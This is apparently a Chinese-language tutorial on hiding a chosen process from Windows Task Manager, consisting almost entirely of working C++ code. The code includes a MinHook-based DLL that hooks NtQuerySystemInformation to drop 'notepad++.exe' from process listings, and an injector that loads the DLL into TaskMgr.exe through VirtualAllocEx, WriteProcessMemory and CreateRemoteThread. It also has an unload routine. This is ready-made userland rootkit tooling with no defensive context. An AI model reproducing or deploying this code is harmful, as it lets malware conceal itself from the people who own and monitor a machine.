任务管理器隐藏指定进程
1、原理
注入dll到任务管理,hook NtQuerySystemInformation API实现进程信息获取忽略,达到进程隐藏
2、dll实现
#include "pch.h"
#include <Windows.h>
#include "../include/minihook/MinHook.h"
#include <winternl.h>
#ifdef _WIN64
#pragma comment(lib,"../include/minihook/libMinHook.x64.lib")
#else
#pragma comment(lib,"../include/minihook/libMinHook.x86.lib")
#endif // _WIN64
typedef struct _MY_SYSTEM_PROCESS_INFORMATION
{
ULONG NextEntryOffset;
ULONG NumberOfThreads;
BYTE Reserved1[48];
UNICODE_STRING ImageName;
KPRIORITY BasePriority;
HANDLE UniqueProcessId;
} _MY_SYSTEM_PROCESS_INFORMATION, * MY_SYSTEM_PROCESS_INFORMATION;
// fp for NtQuerySystemInformation
typedef NTSTATUS(WINAPI* OldNtQuerySystemInformation)(
__in SYSTEM_INFORMATION_CLASS SystemInformationClass,
__inout PVOID SystemInformation,
__in ULONG SystemInformationLength,
__out_opt PULONG ReturnLength
);
// old address for NtQuerySystemInformation
OldNtQuerySystemInformation fpNtQuerySystemInformation = NULL;
// hook for NtQuerySystemInformation
NTSTATUS WINAPI HookedNtQuerySystemInformation(
__in SYSTEM_INFORMATION_CLASS SystemInformationClass,
__inout PVOID SystemInformation,
__in ULONG SystemInformationLength,
__out_opt PULONG ReturnLength
) {
// invoke and get the result code
NTSTATUS status = fpNtQuerySystemInformation(SystemInformationClass,
SystemInformation,
SystemInformationLength,
ReturnLength);
// check invoke succ
if (SystemInformationClass == SystemProcessInformation && NT_SUCCESS(status)) {
MY_SYSTEM_PROCESS_INFORMATION pCurrent = NULL;
MY_SYSTEM_PROCESS_INFORMATION pNext = (MY_SYSTEM_PROCESS_INFORMATION)SystemInformation;
// match the target process
do
{
pCurrent = pNext;
pNext = (MY_SYSTEM_PROCESS_INFORMATION)((PUCHAR)pCurrent + pCurrent->NextEntryOffset);
if (!_wcsnicmp(pNext->ImageName.Buffer, L"notepad++.exe", pNext->ImageName.Length))
{
if (0 == pNext->NextEntryOffset)
{
pCurrent->NextEntryOffset = 0;
}
else
{
pCurrent->NextEntryOffset += pNext->NextEntryOffset;
}
// skip for target process
pNext = pCurrent;
}
} while (pNext->NextEntryOffset != 0);
}
return status;
}
void HookNtQuerySystemInformation() {
if (MH_Initialize() == MB_OK)
{
MH_CreateHookApi(L"ntdll", "NtQuerySystemInformation", HookedNtQuerySystemInformation, reinterpret_cast<void**>(&fpNtQuerySystemInformation));
MH_EnableHook(MH_ALL_HOOKS);
}
else {
MessageBoxA(NULL, "Hooked opeprocess failed", "Tip", MB_OK);
}
}
void UnhookNtQuerySystemInformation() {
if (MH_DisableHook(MH_ALL_HOOKS) == MB_OK)
{
MH_Uninitialize();
}
}
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH: {
HookNtQuerySystemInformation();
break;
}
case DLL_THREAD_ATTACH: {
break;
}
case DLL_THREAD_DETACH: {
break;
}
case DLL_PROCESS_DETACH:
UnhookNtQuerySystemInformation();
break;
}
return TRUE;
}
3、任务管理器dll注入/卸载
#include <iostream>
#include <Windows.h>
#include <tlhelp32.h>
DWORD nPid = 0;
DWORD GetTaskMgrPid()
{
DWORD nPid = 0;
std::wstring wstrProcessName(L"TaskMgr.exe");
PROCESSENTRY32 pe32;
HANDLE hSnapshot = NULL;
pe32.dwSize = sizeof(PROCESSENTRY32);
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) return -1;
if (Process32First(hSnapshot, &pe32)) {
do {
// wcsicmp: ignore case; wcscmp: case sensitive
if (_wcsicmp(pe32.szExeFile, wstrProcessName.c_str()) == 0) {
nPid = pe32.th32ProcessID;
break;
}
} while (Process32Next(hSnapshot, &pe32));
}
if (hSnapshot != INVALID_HANDLE_VALUE)
CloseHandle(hSnapshot);
return nPid;
}
void ejectDll() {
wchar_t szDll[] = L"HookNtQuerySystemInformation.dll";
BOOL bMore = FALSE, bFound = FALSE;
HANDLE hSnapshot, hProcess, hThread;
HMODULE hModule = NULL;
MODULEENTRY32 me = { sizeof(me) };
LPTHREAD_START_ROUTINE pThreadProc;
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, nPid);
if (INVALID_HANDLE_VALUE == hSnapshot) {
std::cout << "Create snapshot failed: " << GetLastError() << ", pid: " << nPid << "\n";
return;
}
bMore = Module32First(hSnapshot, &me);
for (; bMore; bMore = Module32Next(hSnapshot, &me))
{
if (!_wcsicmp((LPCTSTR)me.szModule, szDll) ||
!_wcsicmp((LPCTSTR)me.szExePath, szDll))
{
bFound = TRUE;
break;
}
}
if (!bFound)
{
std::cout << "Not found\n";
CloseHandle(hSnapshot);
return ;
}
if (!(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, nPid)))
{
//_tprintf(L"OpenProcess(%d) failed!!! [%d]\n", dwPID, GetLastError());
return ;
}
hModule = GetModuleHandle(L"kernel32.dll");
// free library with manual
pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(hModule, "FreeLibrary");
hThread = CreateRemoteThread(hProcess, NULL, 0,
pThreadProc, me.modBaseAddr,
0, NULL);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
CloseHandle(hProcess);
CloseHandle(hSnapshot);
std::cout << "Eject completed.\n";
}
void injectDll()
{
char szDll[] = "D:/Demo/include/HookNtQuerySystemInformation.dll";
HANDLE hTaskMgr = OpenProcess(PROCESS_ALL_ACCESS, FALSE, nPid);
if (NULL == hTaskMgr) {
std::cout << "Open process failed: " << GetLastError() << "\n";
return;
}
SIZE_T pathSize = strlen(szDll) + 1;
LPVOID pDllAddr = VirtualAllocEx(hTaskMgr, NULL, pathSize, MEM_COMMIT, PAGE_READWRITE);
BOOL bSucc = WriteProcessMemory(hTaskMgr, pDllAddr, szDll, pathSize, NULL);
LPTHREAD_START_ROUTINE fun = (LPTHREAD_START_ROUTINE)LoadLibraryA;
auto hThread = CreateRemoteThread(hTaskMgr, NULL, 0, fun, pDllAddr, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
// do clean
CloseHandle(hThread);
VirtualFreeEx(hTaskMgr, pDllAddr, 0, MEM_RELEASE);
CloseHandle(hTaskMgr);
std::cout << "Inject completed.\n";
}
int main()
{
nPid = GetTaskMgrPid();
if (nPid <= 0) {
std::cout << "TaskMgr.exe not running, try it later\n";
return 0;
}
#if 1
injectDll();
#else
ejectDll();
#endif
getchar();
return 0;
}
注意事项
1、dll编译和待注入程序位数保持一致(待注入程序是64位,dll必须是64位)
2、注入程序必须和待注入程序位数保持一致(待注入程序是64位,注入必须是64位)